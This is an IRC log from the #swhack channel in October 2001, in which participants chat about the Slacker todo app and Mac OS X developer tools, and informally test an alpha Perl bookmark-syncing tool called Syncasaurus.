ampheta, we'll be ripping my code out to use http::daemon, and multithread it 20:04:54 <AaronSw> Heheh. 20:08:13 <Morbus> i actually kinda agree with spolsky this time. 20:08:22 <Morbus> i rolled my own RSS parser instead of using xml::rss. 20:08:23 <AaronSw> Yeah, but he hyped it more than what he said. 20:08:29 <Morbus> written by rael. 20:08:44 <AaronSw> no... just hacked by him 20:08:52 <AaronSw> it really needs to be rewritten, as he's said multiple times 20:08:56 <AaronSw> but he hasn't had the time to do it 20:09:12 <Morbus> phone 20:12:24 <Morbus> yeah, i hacked one together using xml::simple, since that's what i was using with my config files and scriptingNews. 20:12:42 <Morbus> gives me more finer grain control of course. last i knew, xml::rss stripped out all html within tags 20:14:42 <Morbus> aaron, this looks good: http://www.mindlube.com/screenshots/slacker.html 20:15:55 <AaronSw> Oh, that does look cool. 20:17:01 <Morbus> shareware too. 20:18:46 <AaronSw> What's this mayacal? 20:19:01 <AaronSw> Oh, a Maya Calendar? 20:19:07 <Morbus> i have the maya screensaver. 20:19:24 <Morbus> but that's a different maya ;) 20:19:32 <AaronSw> I don't have much of a need for dates in Maya, but still it looks cool. ;) 20:19:45 <Morbus> hehe 20:20:22 <Morbus> i dunno what the shareware restriction is on slacker. haven't had a chance to dl it yet. 20:20:30 <Morbus> grabbed the latest mozilla for osx, and it wouldn't decompress. sigh. 20:20:55 <AaronSw> :( 20:21:02 <AaronSw> * AaronSw mounts Slacker 20:21:04 <Morbus> the new tabbed interface is nice :) 20:21:10 <Morbus> yeah, lemme know what the shareware thingy is. 20:21:17 <Morbus> or your thoughts/impression. 20:21:23 <AaronSw> Hmm seems to be stuck 20:21:30 <Morbus> i like the built in date thing on slacker. that would push me over when comparing oo and it. 20:21:32 <AaronSw> Disk Copy, that is... oh never mind 20:22:03 <deltab> built-in date thing? 20:22:20 <AaronSw> oo? 20:22:21 <Morbus> it looks like it allows you to say "hey, this todo item should be done by this date" 20:22:27 <Morbus> and then it would flag it if it's overdo. 20:22:29 <AaronSw> Heh, nice icon. 20:22:30 <Morbus> omnioutliner 20:22:35 <AaronSw> ahh 20:23:04 <deltab> hmm, why do people miss out the colon in timezones? 20:23:14 <AaronSw> I think it's a standard 20:23:26 <deltab> no, I've read the standard 20:23:40 <AaronSw> Slacker's sharewareness doesn't seem so bad... just puts up a sheet when you open the app 20:23:58 <AaronSw> I wish it would let me define repeating tasks. 20:24:02 <Morbus> can i hit "enter" or do i have to mouse to the button? 20:24:06 <deltab> there's a colon in the extended form 20:24:09 <Morbus> repeating tasks. ahhh. 20:24:10 <Morbus> <g> 20:24:20 <Morbus> i wish a lot of things would let me do repeating tasks. 20:24:28 <deltab> and the date and time are in extended form, so the timezone should be too 20:24:34 <AaronSw> To create a new task? you need the mouse 20:24:41 <AaronSw> or type command-N 20:24:43 <Morbus> no, to get rid of the shareware sheet. 20:24:57 <AaronSw> Oh... I dunno... let me quit out and comeback in 20:25:12 <AaronSw> Hmm, now it's not there. 20:25:27 <AaronSw> Perhaps it was just that once? 20:25:30 <deltab> jabber's weirder though - it has extended-form dates and basic-form times 20:26:19 <AaronSw> weird 20:27:24 <AaronSw> Ooh, ligatures. 20:27:51 <Morbus> aaron, set your date forward 30 days <g> 20:27:53 <AaronSw> Cool, a "Make Sticky Note" button. 20:28:00 <Morbus> Ooh. that's nice! 20:29:56 <AaronSw> Setting my date forward a month doesn't do anything. 20:33:18 <Morbus> huh. 20:33:28 <Morbus> well, i should try this out then. 20:33:40 <Morbus> the formats on the .todo file - proprietary? parsable? xml? 20:33:43 <Morbus> i'm being a pain, eh? ;) 20:34:40 <AaronSw> heh 20:35:18 <AaronSw> Without you, I never would have researched my purchase so much -- I just would have used it. ;) 20:36:14 <AaronSw> "foo.todo" may be a binary file. See it anyway? 20:36:30 <AaronSw> It's an object serialization... 20:36:53 <AaronSw> Probably Java. 20:37:31 <AaronSw> Heh, a completion slider... I'm 60% done. 20:37:33 <Morbus> ah. or realbasic ;) 20:37:41 <AaronSw> Oh cool! It does do periodic tasks! 20:37:45 <Morbus> it does?! 20:37:48 <Morbus> oh crap, that rocks. 20:37:55 <AaronSw> And tons of options for them! 20:38:03 <Morbus> hehe! yeah! i love options! <g> 20:38:08 <AaronSw> Heh: "often" 20:38:11 <AaronSw> Wonder what that does. 20:38:21 <Morbus> heh. "brush your teeth"... "often". 20:38:40 <AaronSw> "often (fuzzy)" actually 20:38:41 <AaronSw> :) 20:38:51 <Morbus> hehe. 20:40:45 <Morbus> no one wants fuzzy teeth. 20:40:54 <AaronSw> """Slacker is fully functional shareware. It can be registered for a small cost which will unlock the application and stop the very infrequent nag messages. Please visit http://www.mindlube.com/ for downloads, updates and purchase information.""" 20:41:20 <Morbus> ah cool. i like very infrequent. infrequent is good. 20:41:43 <AaronSw> Ooh, and it creates a system service too. 20:42:15 <Morbus> this is getting better and better. 20:42:18 <AaronSw> So you can send me todo items from IRC ;) 20:42:30 <Morbus> hehehe. yeah? how's that work? 20:42:56 <AaronSw> Drag and drop text onto it or select text and go to App Menu -> Services -> Make ToDo Item 20:43:20 <Morbus> wow. nice. 20:47:46 <AaronSw> Hmm, the repeated tasks don't seem to be repeating. 20:59:15 <AaronSw> hmm, writing up my todo list in here is so depressing :( 21:09:34 <Morbus> ehheeh. 21:09:45 <Morbus> man, you should see mine. i still have stuff from a year and a half ago. 21:09:57 <AaronSw> that's all? ;) 21:10:17 <AaronSw> I started writing todo lists like two years ago, and they keep getting longer and longer that I need to create new ones. 21:10:22 <AaronSw> this is my fourth todo list 21:10:50 <AaronSw> i still have the first to complete... i'm just not interested in it anymore 21:10:59 <AaronSw> i guess that's one way to complete tasks ;) 21:11:12 <lilo> [GlobalNotice] Hi all. Services will be back up in a moment, after some splits. Please bear with us. 21:12:11 <AaronSw> AaronSw has quit 21:12:11 <Morbus> Morbus has quit 21:12:11 <deltab> deltab has quit 21:12:33 <AaronSw> AaronSw has joined #swhack 21:12:33 <deltab> deltab has joined #swhack 21:12:33 <Morbus> Morbus has joined #swhack 21:13:59 <AaronSw> AaronSw has quit 21:14:19 <Morbus> Morbus has left #swhack 21:14:45 <AaronSw> AaronSw has joined #swhack 21:14:57 <AaronSw> * AaronSw returns 21:16:13 <AaronSw> Whoa, that was weird. 21:17:11 <AaronSw> AaronSw has changed the topic to: Isn't there something you should be doing right about now? 21:19:08 <AaronSw> Sandro Hawke: "I suppose if you know what you're doing, using a chainsaw while naked is okay." 21:59:43 <sbp> sbp has joined #swhack 22:00:53 <sbp> Is there? Like what? 22:01:02 <AaronSw> * AaronSw checks his new todo list 22:01:10 <sbp> ah 22:01:26 <AaronSw> You could Work on the ideal RDF API 22:01:37 <AaronSw> or * Port Blogspace to Python 22:01:55 <sbp> I could also attack my own todo list, rather than yours 22:02:03 <sbp> ah, we could swap todo lists! 22:02:48 <sbp> so you can write an EARL 1.0 schema and come up with a linearized canonical form 22:03:03 <AaronSw> You don't need a schema. 22:03:08 <AaronSw> canonical form of what? 22:03:16 <sbp> don't need a schema? 22:06:02 <AaronSw> Nah, people can just look at the examples. 22:06:28 <AaronSw> * AaronSw adds "Finish sbp's todo list so he can do stuff from mine" to his todo list 22:06:52 <sbp> lol! 22:07:04 <sbp> the examples: oh, that'll be productive 22:07:23 <sbp> perhaps the HTML specification should just have been a list of examples? 22:08:24 <AaronSw> That'd be much better, IMO. 22:08:29 <AaronSw> The DTDs suck 22:08:33 <AaronSw> :-) 22:08:54 <sbp> I agree that we need more examples, but I think RDF Schemata are useful for settling issues, and there are some experiments for which I needed the schema 22:09:23 <AaronSw> Ah, fine. 22:10:01 <sbp> and the canonical version is for the same example that RSS is canonical 22:12:59 <AaronSw> Oh, why do you want that? 22:14:49 <sbp> so that people who don't know about RDF can still look at some formalism and do it 22:15:11 <AaronSw> Yick. 22:15:34 <sbp> yeah, tell me about it 22:17:28 <sbp> heh, heh: earl:name "Bob B. Bobbington" 22:18:30 <AaronSw> lol 22:20:20 <sbp> Gotta run 22:20:24 <sbp> sbp has quit 22:20:25 <AaronSw> c'ya 23:07:01 <sbp> sbp has joined #swhack 23:14:58 <sbp> Gotta run 23:17:58 <sbp> sbp has quit 23:19:54 <AaronSw> Woohoo! TiVo Ethernet card works. 23:24:45 <rillian> rillian has joined #swhack 23:24:54 <rillian> ooh, you have lurkers now? 23:25:05 <AaronSw> Lurkers? who? 23:25:40 <AaronSw> AaronSw has left #swhack 23:25:41 <AaronSw> AaronSw has joined #swhack 23:25:46 <rillian> well, there's two other nicks here 23:25:59 <AaronSw> They were both here last time, I think. 23:26:03 <AaronSw> logster, hello 23:26:23 <rillian> my memory must be going 23:26:41 <rillian> anyway, know what's up with the zero length files in /Library/Fonts/ ? 23:27:04 <AaronSw> Well I can guess: all the data is in their Resource Fork 23:27:31 <AaronSw> which ls -l won't show you 23:27:36 <rillian> * rillian wonders what happens if you install those on a UFS partion 23:28:04 <rillian> you are correct 23:28:16 <AaronSw> Hmm, no fonts for UFS folks ;) 23:28:25 <rillian> at least no MS ttf fonts 23:28:28 <AaronSw> Actually, I think they have some system of splitting it into files for UFS partitions. 23:28:35 <AaronSw> (as well as copying to other machines, etc. 23:28:36 <AaronSw> ) 23:28:51 <rillian> yeah, ok 23:29:04 <rillian> I wonder if installing gnu fileutils was a really bad idea then 23:29:23 <rillian> serve them right for not calling /bin/cp I guess 23:29:38 <rillian> second question: the devtools working for you? 23:29:41 <AaronSw> Yep. 23:29:50 <AaronSw> I think there's a replacement bin/cp that groks resource forks 23:30:27 <rillian> hmm. projectbuilder won't run for me 23:30:59 <rillian> and I get errors like '/usr/bin/ld: /usr/lib/libSystem.dylib load command 6 unknown cmd field' on the cmdline 23:31:03 <AaronSw> You got the 10.1 version, right? 23:31:17 <rillian> yes. had some trouble installing it 23:31:28 <AaronSw> Ah, right, I remember. 23:31:43 <rillian> I'm afraid I'm going to have to wipe the thing and reinstall again 23:32:02 <AaronSw> :-( 23:32:05 <rillian> which's not supposed to be necessary on *nix, dammit 23:33:05 <AaronSw> That's a really weird error. 23:34:38 <AaronSw> Have you googled on it? 23:35:46 <AaronSw> Perhaps it's the Two-Level Namespace thing? 23:37:48 <rillian> oh, um. how does that work again? 23:38:08 <AaronSw> Beats me, all I know is that it's a source of frustration with linking. 23:38:21 <AaronSw> Thankfully I've been spared so far. 23:38:26 <rillian> AaronSw: good idea about google; I forget that they track recent posts. don't see anything useful so far 23:38:47 <AaronSw> Yeah, the new recent-stuff tracking is quite nice. 23:44:28 <rillian> aha, macosxtips.com has a report and a workaround 23:44:38 <rillian> replace the symlink with one to the debug version 23:44:57 <rillian> seems like the stuff in /usr/lib is just broken in general 23:45:23 <AaronSw> Ouch. 23:45:57 <rillian> seems like they rushed things out the door a bit 23:46:14 <AaronSw> Well, I'm still glad they released it. 23:46:59 <AaronSw> Well, gotta run... dinnertime 23:49:57 <rillian> cheers 23:50:55 <rillian> aha! looks like they might have posted a new version 23:51:02 <rillian> the date is later than what's on my disk 23:59:55 <Morbus> Morbus has joined #swhack ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-16.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000051770�07363076425�012024� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:01:58 <Morbus> anyone got perl installed on thier box? 00:06:31 <rillian> yes 00:07:38 <Morbus> rillian? who are you? i don't know you. how ya doing, i'm morbus. 00:08:00 <rillian> * rillian waves 00:08:15 <rillian> been talking to Aaron about rdf and macosx stuff 00:08:18 <AaronSw> New version of what? 00:08:29 <AaronSw> Morbus is the other Mac OS X user I mentioned. 00:08:34 <Morbus> hey, you want to be a software tester on a project hat needs to be done in 15 days? 00:08:37 <Morbus> oOOh. i've been mentioned ;) 00:08:52 <rillian> Morbus: yay, another brain to pick! 00:08:56 <AaronSw> I've got Perl installed. ;) 00:08:56 <Morbus> oh god <g> 00:09:03 <Morbus> you want to help out, aaron? be a tester? 00:09:13 <rillian> Morbus: no, but I do know some people looking for jobs :) 00:09:14 <AaronSw> And a user, sure. 00:09:29 <Morbus> heh. 00:09:32 <Morbus> k, aaron, hold on. 00:09:36 <AaronSw> Is it free? How annoying are the shareware dialogs? ;) 00:09:43 <Morbus> bwahaha 00:09:48 <Morbus> its so alpha it hurts <g> 00:10:10 <rillian> rillian has changed the topic to: FEEL THE ALPHA 00:10:10 <Morbus> godamin, the message hasn't been archived yet. 00:10:23 <Morbus> ok. welp, dl the entire CVS from sf.net/projects/syncasaurus/ 00:10:31 <AaronSw> If it's so alpha why are we testing? 00:10:36 <AaronSw> :-) 00:10:42 <Morbus> run it under darwin (or classic if you have MacPerl). 00:10:51 <Morbus> heh. cos in a few days it should be beta <g> 00:11:16 <Morbus> bascially, i'm looking for comments on a) the configuration wizard, wording, intellect, etc. 00:11:33 <Morbus> and b) whether the 'finding bookmarks' misses some, finds some fositives, or what have you 00:11:40 <Morbus> thats all teh code does really - create a config file 00:12:22 <Morbus> hey, rillian, you know perl / cvs? 00:12:50 <rillian> with a book 00:13:26 <Morbus> books are good. 00:13:27 <AaronSw> Morbus, what do I checkout? 00:13:32 <Morbus> Syncasaurus 00:13:40 <Morbus> cvs.syncasaurus.sourceforge.ent 00:13:46 <rillian> not syncosaurus? 00:14:05 <Morbus> nope. its' more feminine than masculine ;) 00:15:14 <AaronSw> Heh, what a readme: " This is the README.txt file for AmphetaDesk. Within, you'll find" 00:15:37 <AaronSw> 404 http://www.disobey.com/syncasaurus/ 00:15:59 <Morbus> yup, i know on both. 00:16:03 <AaronSw> * AaronSw decides to " Go bug Dan. Tell him he's holding everyone up." 00:16:15 <Morbus> hehehe. 00:16:32 <Morbus> thats the admin from evolt. org ;) 00:16:58 <AaronSw> My FTP password shouldn't be echoed in the clear. 00:17:07 <Morbus> on the todo already 00:17:23 <AaronSw> We'll now try a simple connection to your server... successful! 00:17:32 <Morbus> doesn't work. stub code. 00:18:37 <AaronSw> Aww. 00:18:44 <Morbus> wha? 00:18:55 <AaronSw> My hopes up... for naught! 00:19:08 <AaronSw> I thought it really was successful... 00:19:13 <Morbus> this slacker is kinda neat 00:19:27 <AaronSw> What now? 00:19:29 <AaronSw> It's UI needs work 00:19:45 <Morbus> well, that's the console UI. what did you have in mind/ 00:19:50 <Morbus> what files did it find for bookarmks? 00:19:56 <AaronSw> No, I meant Slacker. 00:20:03 <Morbus> oh. heh <g> 00:20:47 <AaronSw> It's taking forever to find bookmarks 00:20:55 <AaronSw> it better not be destroying my filesystem 00:21:03 <Morbus> yeah, it searchs the enti...damn! you found me out! ;) 00:21:11 <Morbus> my friendly virus will be victorioyus! woot! 00:21:18 <Morbus> it searches the entire drive. 00:21:27 <AaronSw> I knew I should've read the code first... 00:21:44 <Morbus> hey, i don't get any services for slaccker 00:21:53 <Morbus> i wish you could add new columns 00:21:57 <AaronSw> You have to log out / log in first, I htink 00:21:59 <AaronSw> for services 00:22:10 <Morbus> ah 00:22:17 <AaronSw> Perhaps it should ask me before it searches my whole hard drive... and look in well known places first 00:22:24 <AaronSw> and ask me if I want to do more 00:22:36 <Morbus> welp, on Mac and windows, we narrow it done. 00:22:42 <Morbus> like Mac only looks in Prefereces. 00:22:43 <AaronSw> I'm on a Mac! 00:22:50 <Morbus> windows only looks in program files and windows 00:23:11 <Morbus> no, not really ;) ... you're on a linux box to console perl. and it's even worse on darwin, cos I have to search Preferences and your User/Preferences, 00:23:45 <AaronSw> what're you talking about? I'm on Darwin 00:23:52 <Morbus> Yes, I know. 00:23:53 <Morbus> sigh. 00:24:00 <AaronSw> So why am I on Linux? 00:24:03 <Morbus> but you're running the generic Linux code. 00:24:19 <AaronSw> Oh, I read console with the wrong inflection 00:24:30 <AaronSw> rillian, new version of what? 00:24:39 <Morbus> cos I dont' feel like creating BSD.pm, Redhat.pm, Darwin.pm and so forth. 00:25:09 <AaronSw> Pfft. 00:25:14 <rillian> AaronSw: 10.1 devtools 00:25:27 <AaronSw> Hmm... 00:25:28 <Morbus> new version? past the one that was released that weekend? 00:25:48 <rillian> dated Oct 1st 00:25:49 <Morbus> ack, you can't sort by notes. 00:26:11 <rillian> OS_X_10-1.1_DevTools_10_1.dmg.sit 00:26:13 <Morbus> any changelog on that? i don't feel like dling it again 00:26:22 <AaronSw> Huh? "Software Update is not able to connect to the Internet." 00:26:39 <Morbus> heh. i got that alot under 10.0, but not past 10.02 00:27:00 <Morbus> just delete your Software Update in your Prefs and that should clean it 00:27:34 <Morbus> any results on that file search on sync? 00:27:40 <AaronSw> Still churning. 00:27:45 <rillian> Morbus: changelog? you're kidding, right? 00:27:50 <Morbus> heheh 00:27:53 <AaronSw> Darwin.pm would be nice right about now... 00:27:55 <Morbus> well, you know, a tech note or something ;) 00:28:32 <rillian> the .sit even unpacks into a .dmg of the same name 00:28:33 <Morbus> AaronSw: i'll have to do some predir checks - like if /System Folder/ exists, and so forth. 00:29:11 <AaronSw> * AaronSw wishes connect.apple.com would use the Keychain or stop making me pick hard-to-remember passwords 00:29:49 <Morbus> so whatdya think abotu slacker. worth using? 00:30:03 <AaronSw> What's the cost? 00:30:07 <AaronSw> I'm using it... better than OmniOutliner. 00:30:22 <rillian> fscking unstable installer 00:30:31 <Morbus> 15 bucks 00:30:44 <Morbus> ijust wish i could sort notes. 00:30:55 <Morbus> see, i have this habit of numbering my todo's. 00:31:03 <Morbus> so 30 years from now,i can say 'yeah, i'm on #4231" 00:31:10 <AaronSw> Heh. 00:31:11 <Morbus> but i can't do that easily and still have it category sort. 00:31:15 <AaronSw> Send them a feature request 00:31:26 <Morbus> ultimately, I'd Section:Item in the Name, add the number inot Notes. 00:31:34 <Morbus> so that I could still sort by Name correctly. 00:31:40 <Morbus> but no sorting by age. 00:32:58 <Morbus> any luck on that search? 00:33:19 <AaronSw> Still churning. 00:33:29 <Morbus> wow. 00:33:37 <Morbus> only took about a minute on my box 00:33:42 <AaronSw> By the time it's done, you could've implemented Dawin.pm ;) 00:33:50 <Morbus> no shit <g> 00:36:06 <Morbus> sigh. 00:36:07 <AaronSw> it's slowing my whole system down :( 00:36:13 <Morbus> i hate knowing the code exists, but you can't find it. 00:36:16 <Morbus> ok. cancel it. 00:36:24 <AaronSw> what code? 00:36:25 <Morbus> trying to fix the code now. 00:36:34 <Morbus> a code that tries three diff locations for the user dir 00:36:48 <Morbus> user home dir, rather 00:37:04 <AaronSw> Can't it just use ~ 00:37:36 <Morbus> welp, you could try it on your code. 00:37:43 <Morbus> open up modules/OS/Linux.pm 00:37:52 <Morbus> replace 00:37:52 <Morbus> # find the files. 00:37:52 <Morbus> find(\&bookmark_files, "/"); 00:37:53 <Morbus> with 00:38:01 <Morbus> the tilde 00:38:18 <AaronSw> replace just the "/"? 00:38:22 <Morbus> yup 00:39:26 <Morbus> didn't work here. 00:39:37 <Morbus> this is what i'm using: 00:39:37 <Morbus> # find the files. 00:39:37 <Morbus> find(\&bookmark_files, "~"); 00:39:37 <Morbus> find(\&bookmark_files, "/System Folder/") if -d "/System Folder/"; 00:39:58 <AaronSw> Can't you just use locate? 00:40:07 <Morbus> nope. that's OS specific. 00:40:16 <AaronSw> Yeah, to Linux. 00:40:17 <Morbus> i can't validate the updatedb command being run, etc. 00:40:26 <Morbus> i wouldn't shell out anyways. 00:40:28 <AaronSw> Well, you can at least try it, right? 00:40:32 <Morbus> nope :) 00:40:43 <Morbus> i won't depend on a util i can't control. 00:41:05 <AaronSw> Pfft. 00:41:11 <AaronSw> All my bookmarks are in /System Folder/Preferences/ 00:41:38 <Morbus> welp, the last lines of code i sent above should do it for you. 00:41:43 <Morbus> add that second third line. 00:41:48 <Morbus> bwahah. that third line, rather 00:41:55 <AaronSw> Yeah, I did... 00:42:08 <AaronSw> Wizard should remember my preferences if I kill it 00:42:15 <Morbus> eventually it will. 00:42:20 <AaronSw> Enter the FTP server hostname: ftp:// 00:42:22 <AaronSw> is confusing 00:42:31 <AaronSw> get rid of the ftp:// if you just want my hostname 00:42:43 <Morbus> i worry that people will add protocol to it. 00:42:50 <Morbus> whch the code cna't handle yet. 00:42:53 <Morbus> this is very slim code. 00:42:59 <AaronSw> How many people know about ftp://? (none) 00:43:14 <AaronSw> If you're worried stick an example next to it 00:43:22 <AaronSw> or default with ftp. 00:43:30 <Morbus> k. 00:43:51 <AaronSw> Whoa, script ends way to fast. 00:44:03 <Morbus> heh. 00:44:06 <AaronSw> 1. /System Folder/Preferences/iCab Preferences/Hotlist.html 00:44:06 <AaronSw> 2. /System Folder/Preferences/Explorer/Favorites.html 00:44:06 <AaronSw> The files above will be automatically merged and synchronized. 00:44:07 <Morbus> two reasons for that: 00:44:19 <Morbus> file::find caches results, and the ~ came up with nothing cos it doesn't work :) 00:44:33 <Morbus> k. those are the only two bm files on your box? 00:44:45 <AaronSw> According to locate they are 00:44:51 <AaronSw> No, ends to fast I meant you spit out too much text 00:44:58 <Morbus> oh. that i know. 00:45:01 <AaronSw> What's up with this program... it wants me to send you my password 00:45:04 <Morbus> the end text is for my debugging purposes. 00:45:05 <AaronSw> pffft to that 00:45:19 <Morbus> since i'm still hammering out the "find files" code, as you know. 00:47:18 <AaronSw> :-) 00:47:22 <Morbus> heheh 00:47:41 <Morbus> poking around is good. 00:48:04 <Morbus> run, this code. does it work preoperly? 00:48:05 <Morbus> use strict; 00:48:05 <Morbus> 00:48:05 <Morbus> print "1: ", $ENV{HOME} || $ENV{LOGDIR}, "\n"; 00:48:05 <Morbus> print "2: ", (getpwuid($>))[7], "\n"; 00:49:14 <AaronSw> 1: /Users/aaronsw 00:49:14 <AaronSw> 2: /Users/aaronsw 00:49:22 <Morbus> k. 00:49:33 <Morbus> i'll throw that into the code along with the System Folder check. 00:49:38 <Morbus> that should make the linux version go a bit faster. 00:51:18 <AaronSw> Hmm, where does OmniWeb store its bookmarks? 00:51:28 <AaronSw> Or do you not support OmniWeb? 00:51:46 <Morbus> Omniweb - /Users/username/Library/OmniWeb/Bookmarks.html 00:51:48 <Morbus> according to one user. 00:51:58 <Morbus> eventually, i'll supoprt it yeah. don'tknowif by Nov 1st though 00:52:13 <AaronSw> Oh, right. 00:52:19 <AaronSw> It didn't find that. 00:52:30 <Morbus> yeah, cos it's still using the ~ as the thingy 00:52:31 <Morbus> hold on. 00:52:54 <Morbus> this is the final code: 00:52:55 <AaronSw> Oh, never mind -- I left out the ~ 00:52:55 <Morbus> # find the user's home directory. 00:52:55 <Morbus> my $home_dir = $ENV{HOME} || $ENV{LOGDIR} || (getpwuid($>))[7]; 00:52:55 <Morbus> # find the files. 00:52:55 <Morbus> find(\&bookmark_files, $home_dir); 00:52:55 <Morbus> find(\&bookmark_files, "/System Folder/") if -d "/System Folder/"; 00:53:10 <Morbus> that foudn all bookmarks on my box through darwin 00:53:43 <Morbus> you'll haev to delete Syncasaurus.xml to make the scan happen again 00:55:35 <AaronSw> What the?! 00:55:38 <Morbus> wha? 00:56:38 <AaronSw> Yoelp! 00:57:00 <Morbus> whhaaa? 00:57:24 <AaronSw> Aaah! 00:57:31 <AaronSw> Your program is seriously screwing my machine! 00:57:41 <Morbus> what's it doing? 00:57:51 <AaronSw> it pulled everything to a dead halt 00:57:53 <Morbus> the code doesn't do much of anything. 00:58:00 <Morbus> via the search code? 00:58:10 <AaronSw> That's where it was. 00:58:37 <Morbus> so, on the search, it slowed down the machien super bad? 00:58:46 <AaronSw> To a dead halt. 00:58:47 <Morbus> how long did it do that for? 00:58:50 <AaronSw> and then the screen dimmed to black 00:58:55 <AaronSw> until I killed it 00:58:56 <Morbus> ok. that i don't believe <g> 00:59:10 <Morbus> there's no way the code could do that. 00:59:13 <AaronSw> probably me hitting the brightness in a mad fury 00:59:16 <Morbus> bwahaha. 00:59:23 <Morbus> ok. seriously, did it come to a dead halt? 00:59:26 <Morbus> and for how long? 01:00:09 <AaronSw> Yes, I'm not kidding... I thought it crashed 01:00:38 <AaronSw> Probably for like 15-20 secs at a time 01:00:45 <sbp> sbp has joined #swhack 01:00:47 <AaronSw> then it did some stuff and halted again 01:01:09 <sbp> ALPHA? 01:01:10 <AaronSw> hi sbp 01:01:20 <AaronSw> Yeah, Alpha code bugging up my machine 01:02:20 <Morbus> that's really surprising. 01:02:20 <sbp> rillian? 01:02:38 <Morbus> i mean, the code isn't my own, really - its using Find::Files, a common perl module that's pretty aggressive. 01:02:55 <Morbus> i'll look into it though. 01:03:04 <AaronSw> I mean, I know the OS X scheduler is bad, but that was insane. 01:04:10 <AaronSw> does it want a trailing slash? 01:04:15 <AaronSw> what does it do on your machine? 01:04:39 <Morbus> it searches through the drives and churns, but doesn't lock the box. 01:04:41 <sbp> Gotta run 01:04:47 <AaronSw> c'ya 01:04:47 <Morbus> i've got about 4000 files sitting in my User dir. 01:05:06 <Morbus> just sent my two feature requests off to slacker 01:06:50 <Morbus> aaronSw, try adding this line right before the push() in bookmark_files. 01:06:51 <Morbus> return unless $_ =~ /.htm.^/; 01:07:14 <Morbus> i don't think that will do much. 01:07:17 <Morbus> though 01:07:36 <AaronSw> want me to run it again? 01:07:42 <sbp> sbp has quit 01:07:48 <Morbus> yeah, delete the syncasaurus.xml, add that line, then rerun 01:07:50 <AaronSw> Here goes... 01:08:04 <AaronSw> I'm still alive so far. 01:08:09 <AaronSw> Perhaps it was just some freak accident. 01:08:28 <Morbus> no locks? 01:08:40 <AaronSw> Not yer. 01:08:43 <AaronSw> err yet 01:08:49 <Morbus> maybe that did it. 01:08:58 <Morbus> that's reducing the regexps by four for each file down to 1. 01:09:04 <Morbus> unless the file matches. 01:09:38 <AaronSw> Hmm.... can't you combine them all into one big compiled tegexp? 01:09:58 <AaronSw> err regexp 01:10:12 <Morbus> i could yeah. 01:10:24 <AaronSw> Hmm, even if I comment that line out it still works fine 01:10:29 <AaronSw> perhaps it was something else... 01:10:34 <Morbus> if $_ =~ /(Bookmarks|Favorites|Hotlist).htm/i; 01:10:49 <Morbus> you deleted the .xml file ebfore running again? 01:10:59 <AaronSw> It never created one 01:11:08 <Morbus> ? it shoulda if it worked fien. 01:11:09 <AaronSw> It didn't get that far. 01:11:11 <Morbus> oh 01:11:12 <AaronSw> I killed it. 01:11:18 <AaronSw> mwahaha 01:13:56 <Morbus> bwahaha. 01:13:57 <Morbus> ok. um. 01:14:01 <Morbus> i sent you bad code <g> 01:15:32 <AaronSw> What news! 01:15:37 <AaronSw> What was broken? 01:15:52 <Morbus> lol. 01:16:02 <Morbus> the .htm.^ stuff i sent ya. 01:16:06 <Morbus> should be .htm.$ instead. 01:16:41 <AaronSw> Ah, pff 01:16:50 <AaronSw> Heheh, that'd work a whole lot ;) 01:16:56 <Morbus> heheheheh. 01:17:05 <Morbus> you shoulda caught that one <g> 01:18:28 <rillian> rillian has quit 01:19:35 <Morbus> hope the mindlube people can back to me 01:20:18 <AaronSw> why .htm.? 01:20:24 <AaronSw> err ".htm."? 01:20:28 <AaronSw> shouldn't it be .? 01:22:23 <Morbus> Morbus has quit 01:22:45 <Morbus> Morbus has joined #swhack 01:23:31 <Morbus> ah twell. i gotta get outta here for the night. 01:23:55 <Morbus> Morbus has quit 02:43:24 <Morbus> Morbus has joined #swhack 02:44:08 <Morbus> got an email back from the slacker guy. he thinks they're good ideas, but probably won't add them since "people like the simple UI". he mayu consider adding freeform columns, however, which would satisfy my needs 02:44:26 <AaronSw> Pah! 02:44:29 <Morbus> heheh 02:44:39 <AaronSw> Heh, haven't heard that excuse before. 02:44:45 <Morbus> heheh. 02:44:46 <AaronSw> Well, I blew up my TiVo... 02:44:52 <AaronSw> but it asked me to plug it into the phone line 02:44:57 <Morbus> well, if he ads the freeforms, thati'll make mehappy 02:45:01 <AaronSw> and after half an hour it rebooted and was working again. 02:45:03 <Morbus> i dont have a tivo. 02:45:12 <AaronSw> I thought that was pretty cool. 02:45:14 <Morbus> i've spent the past hour organizing my movie collection. 02:45:23 <AaronSw> I wonder if they have techs who buzz around the box or if it's automated... 02:45:23 <Morbus> i have 400+ movies 02:45:27 <AaronSw> Eek. 02:45:37 <AaronSw> Organized manually or via software? 02:46:18 <Morbus> both. i bought a new bookcase, so whislt i move them over to the bookmark, i'm db'ing them. 02:46:27 <Morbus> i have duplicates of about four movies cos i keep forgetitng what i have :) 02:46:34 <AaronSw> Heh. 02:46:46 <AaronSw> So does this mean we'll be getting AmphetaVideo soon? ;) 02:46:52 <Morbus> hehe... 02:47:02 <Morbus> funny thing, i have a design doc for a software called "Cowpoke Folio" 02:47:05 <Morbus> which would be a bit like that. 02:47:24 <AaronSw> Since you came up with that icon for piddlecat, I was thinking of one for AmphetaDesk: You could have this big stupid desk in the middle of a rave. Wouldn't that be awesome? 02:47:27 <Morbus> a generic db sort of interface, that would double for an image cataloger or otherwise collection sort of thing 02:47:34 <Morbus> LOL 02:47:38 <Morbus> bQhahahahah.a 02:47:44 <Morbus> ok. ok. that's flipping awesome 02:47:51 <Morbus> lol. shit. i gotta use that 02:48:12 <AaronSw> Heheh, I had no idea you'd like that so much. 02:48:24 <Morbus> i love it. i like stupid shit :) 02:48:31 <Morbus> seriously, that's something i'd use 02:49:13 <AaronSw> Cool! My name will be forever preserved in AmhetaDesk stardom. :-) 02:49:43 <Morbus> now hold on a minute. what makes you think i'm gonna attribute you? <g> 02:50:07 <AaronSw> Oh dear, now that I've seen http://disobey.com/amphetadesk/naming.htm I'm really worried. 02:50:33 <Morbus> heh. why? 02:50:41 <Morbus> i came up with the name for johnmunch's ubercard too 02:51:50 <AaronSw> why: because you've already got one IRC log on the site... you might just be crazy enough to put two ;) 02:51:57 <Morbus> hehehe. 02:53:10 <Morbus> brb. athenairc doesnt save my config files, so i have to manually edit them. 02:53:11 